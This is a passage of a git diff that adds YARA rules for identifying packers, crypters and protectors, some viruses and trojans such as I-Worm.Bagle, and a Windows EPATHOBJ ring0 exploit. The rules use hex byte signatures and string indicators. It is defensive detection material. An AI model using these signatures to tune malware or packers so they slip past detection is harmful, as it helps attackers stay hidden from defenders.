+		$0 = {F7 D1 83 F1 FF 6A 00 F7 D1 83 F1 FF 81 04 24 ?? 02 00 00 F7 D1 83 F1 FF 59 BA 32 21 ?? 00 F7 D1 83 F1 FF F7 D1 83 F1 FF 80 02 E3 F7 D1 83 F1 FF C0 0A 05 F7 D1 83 F1 FF 80 02 6F F7 D1 83 F1 FF 80 32 A4 F7 D1 83 F1 FF 80 02 2D F7 D1 83 F1 FF 42 49 85 C9 75 CD 1C 4F 8D 5B FD 62 1E 1C 4F 8D 5B FD 4D 9D B9 ?? ?? ?? 1E 1C 4F 8D 5B FD 22 1C 4F 8D 5B FD 8E A2 B9 B9 E2 83 DB E2 E5 4D CD 1E BF 60 AB 1F 4D DB 1E 1E 3D 1E 92 1B 8E DC 7D EC A4 E2 4D E5 20 C6 CC B2 8E EC 2D 7D DC 1C 4F 8D 5B FD 83 56 8E E0 3A 7D D0 8E 9D 6E 7D D6 4D 25 06 C2 AB 20 CC 3A 4D 2D 9D 6B 0B 81 45 CC 18 4D 2D 1F A1 A1 6B C2 CC F7 E2 4D 2D 9E 8B 8B CC DE 2E 2D F7 1E AB 7D 45 92 30 8E E6 B9 7D D6 8E 9D 27 DA FD FD 1E 1E 8E DF B8 7D CF 8E A3 4D 7D DC 1C 4F 8D 5B FD 33 D7 1E 1E 1E A6 0B 41 A1 A6 42 61 6B 41 6B 4C 45 1E 21 F6 26 BC E2 62 1E 62 1E 62 1E 23 63 59 ?? 1E 62 1E 62 1E 33 D7 1E 1E 1E 85 6B C2 41 AB C2 9F 23 6B C2 41 A1 1E C0 FD F0 FD 30 20 33 9E 1E 1E 1E 85 A2 0B 8B C2 27 41 EB A1 A2 C2 1E C0 FD F0 FD 30 62 1E 33 7E 1E 1E 1E C6 2D 42 AB 9F 23 6B C2 41 A1 1E C0 FD F0 FD 30 C0 FD F0 8E 1D 1C 4F 8D 5B FD E0 00 33 5E 1E 1E 1E BF 0B EC C2 E6 42 A2 C2 45 1E C0 FD F0 FD 30 CE 36 CC F2 1C 4F 8D 5B FD}
+	condition:
+		$0 at entrypoint
+}
+rule _PackItBitch_V10_archphase_
+{
+	meta:
+		description = "PackItBitch V1.0-> archphase"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _PESHiELD_02_
+{
+	meta:
+		description = "PE-SHiELD 0.2"
+	strings:
+		$0 = {60 E8 00 00 00 00 41 4E 41 4B 49 4E 5D 83 ED 06 EB 02 EA 04}
+	condition:
+		$0 at entrypoint
+}
+rule _DBPE_vxxx__Ding_Boy_
+{
+	meta:
+		description = "DBPE vx.xx -> Ding Boy"
+	strings:
+		$0 = {EB 20 ?? ?? 40 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9C 55 57 56 52 51 53 9C E8 ?? ?? ?? ?? 5D 81 ED}
+	condition:
+		$0 at entrypoint
+}
+rule _NTKrnlPacker__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "NTKrnlPacker -> Ashkbiz Danehkar"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 10 00 00 50 10 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74}
+	condition:
+		$0
+}
+rule _FreeCryptor_01_build_001_GlOFF_
+{
+	meta:
+		description = "FreeCryptor 0.1 (build 001)-> GlOFF"
+	strings:
+		$0 = {8B 04 24 40 90 83 C0 07 80 38 90 90 74 02 EB FF 68 26 ?? ?? 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 FF E4 90 8B 04 24 64 A3 00 00 00 00 8B 64 24 08 90 83 C4 08}
+	condition:
+		$0
+}
+rule _WARNING__TROJAN__HuiGeZi_
+{
+	meta:
+		description = "WARNING -> TROJAN -> HuiGeZi"
+	strings:
+		$0 = {55 8B EC 81 C4 ?? FE FF FF 53 56 57 33 C0 89 85 ?? FE FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Securom7__Sony_DADC_
+{
+	meta:
+		description = "Securom7 -> Sony DADC"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 8B ?? ?? ?? ?? 0A ?? ?? ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _CrunchPE_v20xx_
+{
+	meta:
+		description = "Crunch/PE v2.0.x.x"
+	strings:
+		$0 = {55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 55 BB ?? ?? ?? ?? 03 DD 53 64 67 FF 36 ?? ?? 64 67 89 26}
+	condition:
+		$0 at entrypoint
+}
+rule _SLVc0deProtector_v06__SLV_
+{
+	meta:
+		description = "SLVc0deProtector v0.6 -> SLV"
+	strings:
+		$0 = {E8 49 00 00 00 69 E8 49 00 00 00 95 E8 4F 00 00 00 68 E8 1F 00 00 00 49 E8 E9 FF FF FF 67 E8 1F 00 00 00 93 E8 31 00 00 00 78 E8 DD FF FF FF 38 E8 E3 FF FF FF 66 E8 0D 00 00 00 04 E8 E3 FF FF FF 70 E8 CB FF FF FF 69 E8 DD FF FF FF 58 E8 DD FF FF FF 69 E8 E3 FF FF FF 79 E8 BF FF FF FF 69 83 C4 40 E8 00 00 00 00 5D 81 ED 97 11 40 00 8D B5 EF 11 40 00 B9 FE 2D 00 00 8B FE AC F8 ?? ?? ?? ?? ?? ?? 90}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_14__Liuxingping_
+{
+	meta:
+		description = "NsPack 1.4 -> Liuxingping"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 ?? ?? 40 00 2D ?? ?? 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _VIRUS__IWormBagle_
+{
+	meta:
+		description = "VIRUS - I-Worm.Bagle"
+	strings:
+		$0 = {6A 00 E8 95 01 00 00 E8 9F E6 FF FF 83 3D 03 50 40 00 00 75 14 68 C8 AF 00 00 E8 01 E1 FF FF 05 88 13 00 00 A3 03 50 40 00 68 5C 57 40 00 68 F6 30 40 00 FF 35 03 50 40 00 E8 B0 EA FF FF E8 3A FC FF FF 83 3D 54 57 40 00 00 74 05 E8 F3 FA FF FF 68 E8 03 00}
+	condition:
+		$0
+}
+rule _Thinstall_V27X__Jitit_
+{
+	meta:
+		description = "Thinstall V2.7X -> Jitit"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _DotFix_NiceProtect_vna_
+{
+	meta:
+		description = "DotFix NiceProtect vna"
+	strings:
+		$0 = {60 E8 55 00 00 00 8D BD 00 10 40 00 68 ?? ?? ?? 00 03 3C 24 8B F7 90 68 31 10 40 00 9B DB E3 55 DB 04 24 8B C7 DB 44 24 04 DE C1 DB 1C 24 8B 1C 24 66 AD 51 DB 04 24 90 90 DA 8D 77 10 40 00 DB 1C 24 D1 E1 29}
+	condition:
+		$0 at entrypoint
+}
+rule _IMPostor_Pack_10__Mahdi_Hezavehi_
+{
+	meta:
+		description = "IMPostor Pack 1.0 -> Mahdi Hezavehi"
+	strings:
+		$0 = {BE ?? ?? ?? 00 83 C6 01 FF E6 00 00 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? 02 ?? ?? 00 10 00 00 00 02 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v150_Device_driver_compression_
+{
+	meta:
+		description = "PKLITE v1.50 (Device driver compression)"
+	strings:
+		$0 = {B4 09 BA 14 01 CD 21 B8 00 4C CD 21 F8 9C 50 53 51 52 56 57 55 1E 06 BB}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v104b__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.04b -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 2B 85 ?? 12 9D ?? 89 85 1E 9D ?? ?? 80 BD 08 9D}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V10beta__ap0x_
+{
+	meta:
+		description = "RLPack V1.0.beta -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Packed_with_PKLITE_v150_with_CRC_check_1_
+{
+	meta:
+		description = "Packed with: PKLITE v1.50 with CRC check (1)"
+	strings:
+		$0 = {1F B4 09 BA ?? ?? CD 21 B8 ?? ?? CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v300_v301_Extractable_
+{
+	meta:
+		description = "WWPACK v3.00, v3.01 (Extractable)"
+	strings:
+		$0 = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 6A ?? 06 06 8C D3 83 ?? ?? 53 6A ?? FC}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v190b4_
+{
+	meta:
+		description = "Armadillo v1.90b4"
+	strings:
+		$0 = {55 8B EC 6A FF 68 08 E2 40 00 68 B4 96 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__bartxt__Watcom_CCpp_EXE_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> bart/xt -> (Watcom C/C++ EXE)"
+	strings:
+		$0 = {EB 02 CD 20 03 ?? 8D ?? 80 ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 02}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_v21_1_
+{
+	meta:
+		description = "Petite v2.1 (1)"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 66 9C 60 50}
+	condition:
+		$0 at entrypoint
+}
+rule _kkrunchy__Ryd_
+{
+	meta:
+		description = "kkrunchy -> Ryd"
+	strings:
+		$0 = {BD 08 ?? ?? 00 C7 45 00 ?? ?? ?? 00 FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? 00 57 BE ?? ?? ?? 00 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6 10 C9 73 F3 FF 45 0C 91 AA 83 C9 FF 8D 5C 8D 18 FF D6 74 DD E3 17 8D 5D 1C FF D6 74 10}
+	condition:
+		$0 at entrypoint
+}
+rule _StarForce_V3X_DLL__StarForce_Copy_Protection_System_
+{
+	meta:
+		description = "StarForce V3.X DLL -> StarForce Copy Protection System"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Unnamed_Scrambler_251Beta_2__252__p0ke_
+{
+	meta:
+		description = "Unnamed Scrambler 2.5.1(Beta 2) / 2.5.2 -> p0ke"
+	strings:
+		$0 = {55 8B EC B9 ?? 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 ?? ?? 40 00 E8 ?? EA FF FF 33 C0 55 68 ?? ?? 40 00 64 FF 30 64 89 20 BA ?? ?? 40 00 B8 ?? ?? 40 00 E8 63 F3 FF FF 8B D8 85 DB 75 07 6A 00 E8 ?? ?? FF FF BA ?? ?? 40 00 8B C3 8B 0D ?? ?? 40 00 E8 ?? ?? FF FF C7 05 ?? ?? 40 00 0A 00 00 00 BB ?? ?? 40 00 BE ?? ?? 40 00 BF ?? ?? 40 00 B8 ?? ?? 40 00 BA 04 00 00 00 E8 ?? EB FF FF 83 3B 00 74 04 33 C0 89 03 8B D7 8B C6 E8 0A F3 FF FF 89 03 83 3B 00 0F 84 F7 04 00 00 B8 ?? ?? 40 00 8B 16 E8 ?? E1 FF FF B8 ?? ?? 40 00 E8 ?? E0 FF FF 8B D0 8B 03 8B 0E E8 ?? ?? FF FF 8B C7 A3 ?? ?? 40 00 8D 55 EC 33 C0 E8 ?? D3 FF FF 8B 45 EC B9 ?? ?? 40 00 BA ?? ?? 40 00 E8 8B ED FF FF 3C 01 75 2B A1}
+	condition:
+		$0
+}
+rule _PECompact_v122_
+{
+	meta:
+		description = "PECompact v1.22"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 ?? 70 40 ?? 90 90 01 85 9E 70 40 ?? BB F3 08}
+	condition:
+		$0 at entrypoint
+}
+rule _Fish_PE_Shield_101__HellFish_
+{
+	meta:
+		description = "Fish PE Shield 1.01 -> HellFish"
+	strings:
+		$0 = {55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89 45 DC 83 7D DC 00 75 08 E8 AD FF FF FF 89 45 DC E8 C1 FE FF FF 8B 10 03 55 DC 89 55 E4 83 C0 04 8B 10 89 55 FC 83 C0 04 8B 10 89 55 F4 83 C0 04 8B 10 89 55 F8 83 C0 04 8B 10 89 55 F0 83 C0 04 8B 10 89 55 EC 83 C0 04 8B 00 89 45 E8 8B 45 E4 8B 58 04 03 5D E4 8B FB 8B 45 E4 8B 30 4E 85 F6 72 2B 46 C7 45 E0 00 00 00 00 83 7B 04 00 74 14}
+		$1 = {60 E8 12 FE FF FF C3 90 09 00 00 00 2C 00 00 00 ?? ?? ?? ?? C4 03 00 00 BC A0 00 00 00 40 01 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 99 00 00 00 00 8A 00 00 00 10 00 00 28 88 00 00 40 ?? 4B 00 00 00 02 00 00 00 A0 00 00 18 01 00 00 40 ?? 4C 00 00 00 0C 00 00 00 B0 00 00 38 0A 00 00 40 ?? 4E 00 00 00 00 00 00 00 C0 00 00 40 39 00 00 40 ?? 4E 00 00 00 08 00 00 00 00 01 00 C8 06 00 00 40}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _Enigma_Protector_10X__Sukhov_Vladimir_
+{
+	meta:
+		description = "Enigma Protector 1.0X -> Sukhov Vladimir"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 ?? ?? 81 ED ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 83 C4 04 EB 02 ?? ?? 60 E8 24 00 00 00 00 00 ?? EB 02 ?? ?? 8B 44 24 0C 83 80 B8 00 00 00 03 31 C0 C3 83 C0 08 EB 02 ?? ?? 89 C4 61 EB 2E ?? ?? ?? ?? ?? ?? ?? EB 01 ?? 31 C0 EB 01 ?? 64 FF 30 EB 01 ?? 64 89 20 EB 02 ?? ?? 89 00 9A 64 8F 05 00 00 00 00 EB 02 C1 ?? 58 61 EB 01}
+	condition:
+		$0
+}
+rule _MSLRH_v032a_fake_BJFNT_13__emadicius_
+{
+	meta:
+		description = "[MSLRH] v0.32a (fake .BJFNT 1.3) -> emadicius"
+	strings:
+		$0 = {EB 03 3A 4D 3A 1E EB 02 CD 20 9C EB 02 CD 20 EB 02 CD 20 60 EB 02 C7 05 EB 02 CD 20 E8 03 00 00 00 E9 EB 04 58 40 50 C3 61 9D 1F EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v12x_
+{
+	meta:
+		description = "ASProtect v1.2x"
+	strings:
+		$0 = {00 00 68 01 ?? ?? ?? C3 AA}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_vxx_
+{
+	meta:
+		description = "Thinstall vx.x"
+	strings:
+		$0 = {B8 EF BE AD DE 50 6A ?? FF 15 10 19 40 ?? E9 AD FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _App_Protector__Silent_Team_
+{
+	meta:
+		description = "App Protector -> Silent Team"
+	strings:
+		$0 = {E9 97 00 00 00 0D 0A 53 69 6C 65 6E 74 20 54 65 61 6D 20 41 70 70 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 72 65 61 74 65 64 20 62 79 20 53 69 6C 65 6E 74 20 53 6F 66 74 77 61 72 65 0D 0A 54 68 65 6E 6B 7A 20 74 6F 20 44 6F 63 68 74 6F 72 20 58 0D 0A 0D 0A}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v080_
+{
+	meta:
+		description = "tElock v0.80"
+	strings:
+		$0 = {60 E8 F9 11 00 00 C3 83}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v200b_
+{
+	meta:
+		description = "PKLITE v2.00b"
+	strings:
+		$0 = {50 B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 02 00 72 ?? B4 09 BA ?? ?? CD 21 B8 01 4C CD 21 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 59 2D ?? ?? 8E D0 51 2D ?? ?? 8E C0 50 B9}
+	condition:
+		$0 at entrypoint
+}
+rule _XPack_152__164_
+{
+	meta:
+		description = "XPack 1.52 - 1.64"
+	strings:
+		$0 = {8B EC FA 33 C0 8E D0 BC ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? EB}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_v274__WebToolMaster_
+{
+	meta:
+		description = "EXE Stealth v2.74 -> WebToolMaster"
+	strings:
+		$0 = {EB 00 EB 17 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 60 90 E8 00 00 00 00 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_024__027_beta__028_alpha__Dwing_
+{
+	meta:
+		description = "Upack 0.24 - 0.27 beta / 0.28 alpha -> Dwing"
+	strings:
+		$0 = {BE 88 01 40 00 AD 8B F8 95 AD 91 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0}
+	condition:
+		$0 at entrypoint
+}
+rule _vfpexeNc_v600__Wang_JianGuo_
+{
+	meta:
+		description = "vfp&exeNc v6.00 -> Wang JianGuo"
+	strings:
+		$0 = {60 E8 01 00 00 00 63 58 E8 01 00 00 00 7A 58 2D 0D 10 40 00 8D 90 C1 10 40 00 52 50 8D 80 49 10 40 00 5D 50 8D 85 65 10 40 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC}
+	condition:
+		$0 at entrypoint
+}
+rule _Joiner_sign_from_pinch_25032007_2010_
+{
+	meta:
+		description = "Joiner (sign from pinch 25.03.2007 20:10)"
+	strings:
+		$0 = {81 EC 04 01 00 00 8B F4 68 04 01 00 00 56 6A 00 E8 7C 01 00 00 33 C0 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 56 E8 50 01 00 00 8B D8 6A 00 6A 00 6A 00 6A 02 6A 00 53 E8 44 01}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v099_
+{
+	meta:
+		description = "PECompact v0.99"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 2F 85 40 ?? 87 DD 8B 85 B4 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_XPEH4768_
+{
+	meta:
+		description = "Vx: XPEH.4768"
+	strings:
+		$0 = {E8 ?? ?? 5B 81 ?? ?? ?? 50 56 57 2E ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? ?? B8 01 00 50 B8 ?? ?? 50 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_ACME_Clonewar_Mutant_
+{
+	meta:
+		description = "Vx: ACME (Clonewar Mutant)"
+	strings:
+		$0 = {FC AD 3D FF FF 74 20 E6 42 8A C4 E6 42 E4 61 0C 03 E6 61 AD B9 40 1F E2 FE}
+	condition:
+		$0 at entrypoint
+}
+rule _PCGuard_v500d_
+{
+	meta:
+		description = "PC-Guard v5.00d"
+	strings:
+		$0 = {FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 30 D2 40 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _PluginToExe_v100__BoB__BobSoft_
+{
+	meta:
+		description = "PluginToExe v1.00 -> BoB / BobSoft"
+	strings:
+		$0 = {E8 00 00 00 00 29 C0 5D 81 ED D1 40 40 00 50 FF 95 B8 40 40 00 89 85 09 40 40 00 FF 95 B4 40 40 00 89 85 11 40 40 00 50 FF 95 C0 40 40 00 8A 08 80 F9 22 75 07 50 FF 95 C4 40 40 00 89 85 0D 40 40 00 8B 9D 09 40 40 00 60 6A 00 6A 01 53 81 C3 ?? ?? ?? 00 FF D3 61 6A 00 68 44 69 45 50 FF B5 0D 40 40 00 6A 00 81 C3 ?? ?? ?? 00 FF D3 83 C4 10 FF 95 B0 40 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _bambam_001__bedrock_
+{
+	meta:
+		description = "bambam 0.01 -> bedrock"
+	strings:
+		$0 = {6A 14 E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF B9 05 00 00 00 8B F3 BF ?? ?? ?? ?? 53 F3 A5 E8 8D 05 00 00 8B 3D ?? ?? ?? ?? A1 ?? ?? ?? ?? 66 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B CF 89 45 E8 89 0D ?? ?? ?? ?? 66 89 55 EC 8B 41 3C 33 D2 03 C1 83 C4 10 66 8B 48 06 66 8B 50 14 81 E1 FF FF 00 00 8D 5C 02 18 8D 41 FF 85 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_Borland_Delphi_6070__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake Borland Delphi 6.0-7.0) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 53 8B D8 33 C0 A3 00 00 00 00 6A 00 E8 00 00 00 FF A3 00 00 00 00 A1 00 00 00 00 A3 00 00 00 00 33 C0 A3 00 00 00 00 33 C0 A3 00 00 00 00 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Wind_of_Crypt_10__by_DarkPressure_
+{
+	meta:
+		description = "Wind of Crypt 1.0 - by DarkPressure"
+	strings:
+		$0 = {55 8B EC 83 C4 EC 53 ?? ?? ?? ?? 89 45 EC B8 64 40 00 10 E8 28 EA FF FF 33 C0 55 68 CE 51 00 10 64 ?? ?? ?? ?? 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 F6 DB FF FF 8B 45 EC E8 12 E7 FF FF 50 E8 3C EA FF FF 8B D8 83 FB FF 0F 84 A6 00 00 00 6A 00 53 E8 41 EA FF FF 8B F0 81 EE 00 5E 00 00 6A 00 6A 00 68 00 5E 00 00 53 E8 52 EA FF FF B8 F4 97 00 10 8B D6 E8 2E E7 FF FF B8 F8 97 00 10 8B D6 E8 22 E7 FF FF 8B C6 E8 AB D8 FF FF 8B F8 6A 00 68 F0 97 00 10 56 A1 F4 97 00 10 50 53 E8 05 EA FF FF 53 E8 CF E9 FF FF B8 FC 97 00 10 BA E8 51 00 10 E8 74 EA FF FF A1 F4 97 00 10 85 C0 74 05 83 E8 04 8B 00 50 B9 F8 97 00 10 B8 FC 97 00 10 8B 15 F4 97 00 10 E8 D8 EA FF FF B8 FC 97 00 10 E8 5A EB FF FF 8B CE 8B 15 F8 97 00 10 8B C7 E8 EB E9 FF FF 8B C7 85 C0 74 05 E8 E4 EB FF FF 33 C0 5A 59 59 64 89 10 68 D5 51 00 10 8D 45 EC E8 BB E5 FF FF C3 E9 A9 DF FF FF EB F0 5F 5E 5B E8 B7 E4 FF FF 00 00 00 FF FF FF FF 0A 00 00 00 63 5A 6C 56 30 55 6C 6B 70 4D}
+	condition:
+		$0 at entrypoint
+}
diff --git a/yara-mikesxrs/unknown/Windows_0day_Exploit.yara b/yara-mikesxrs/unknown/Windows_0day_Exploit.yara
new file mode 100644
index 0000000..42f3828
--- /dev/null
+++ b/yara-mikesxrs/unknown/Windows_0day_Exploit.yara
@@ -0,0 +1,22 @@
+rule Windows_0day_Exploit_Developers_1 {
+        meta: description = "Windows 0day EPATHOBJ local ring0 Exploit - Developer Names" score = 60
+        strings:
+        $a = "taviso" fullword
+        $b = "cmpxchg8b" fullword
+        $c = "programmeboy" fullword
+        condition:
+        all of them
+}
+ 
+rule Windows_0day_Exploit_1 {
+        meta: description = "Windows 0day EPATHOBJ local ring0 Exploit" score = 70
+        strings:
+        $a = "PATHRECORD" fullword
+        $b = "HRGN" fullword
+        $c = "FlattenPath" fullword
+        $d = "EndPath" fullword
+        $e = "PolyDraw" fullword
+       
+        condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/unknown/epcompilersigs.yara b/yara-mikesxrs/unknown/epcompilersigs.yara
new file mode 100644
index 0000000..4333028
--- /dev/null
+++ b/yara-mikesxrs/unknown/epcompilersigs.yara
@@ -0,0 +1,535 @@
+rule _WATCOM_CCpp_32_RunTime_System_19881994_
+{
+	meta:
+		description = "WATCOM C/C++ 32 Run-Time System 1988-1994"
+	strings:
+		$0 = {E9 57}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_v60_
+{
+	meta:
+		description = "Borland Delphi v6.0"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 45 ?? E8 FF A1 45 ?? 8B ?? E8 FF FF 8B}
+		$1 = {55 8B EC 83 C4 F0 B8 40 ?? E8 FF FF A1 72 40 ?? 33 D2 E8 FF FF A1 72 40 ?? 8B ?? 83 C0 14 E8 FF FF E8 FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_
+{
+	meta:
+		description = "Microsoft Visual C++"
+	strings:
+		$0 = {8B 44 24 08 83}
+		$1 = {53 56 57 BB 8B 55 3B FB}
+		$2 = {FF FF FF ?? ?? ?? ?? ?? ?? 30 ?? ?? ??}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Cygwin32_
+{
+	meta:
+		description = "Cygwin32"
+	strings:
+		$0 = {6A FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Cpp_for_Win32_1995_
+{
+	meta:
+		description = "Borland C++ for Win32 1995"
+	strings:
+		$0 = {A1 C1 A3 83 75 80}
+		$1 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 A1 C1 E0 02 A3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v42_
+{
+	meta:
+		description = "Microsoft Visual C++ v4.2"
+	strings:
+		$0 = {64 A1 ?? ?? ?? ?? 55 8B EC 6A FF 68 68 50 64 83 53 56 57 89}
+		$1 = {53 B8 8B 56 57 85 DB 55}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MinGW_v32x__mainCRTStartup_
+{
+	meta:
+		description = "MinGW v3.2.x (_mainCRTStartup)"
+	strings:
+		$0 = {E8 FF FF E8 FF}
+	condition:
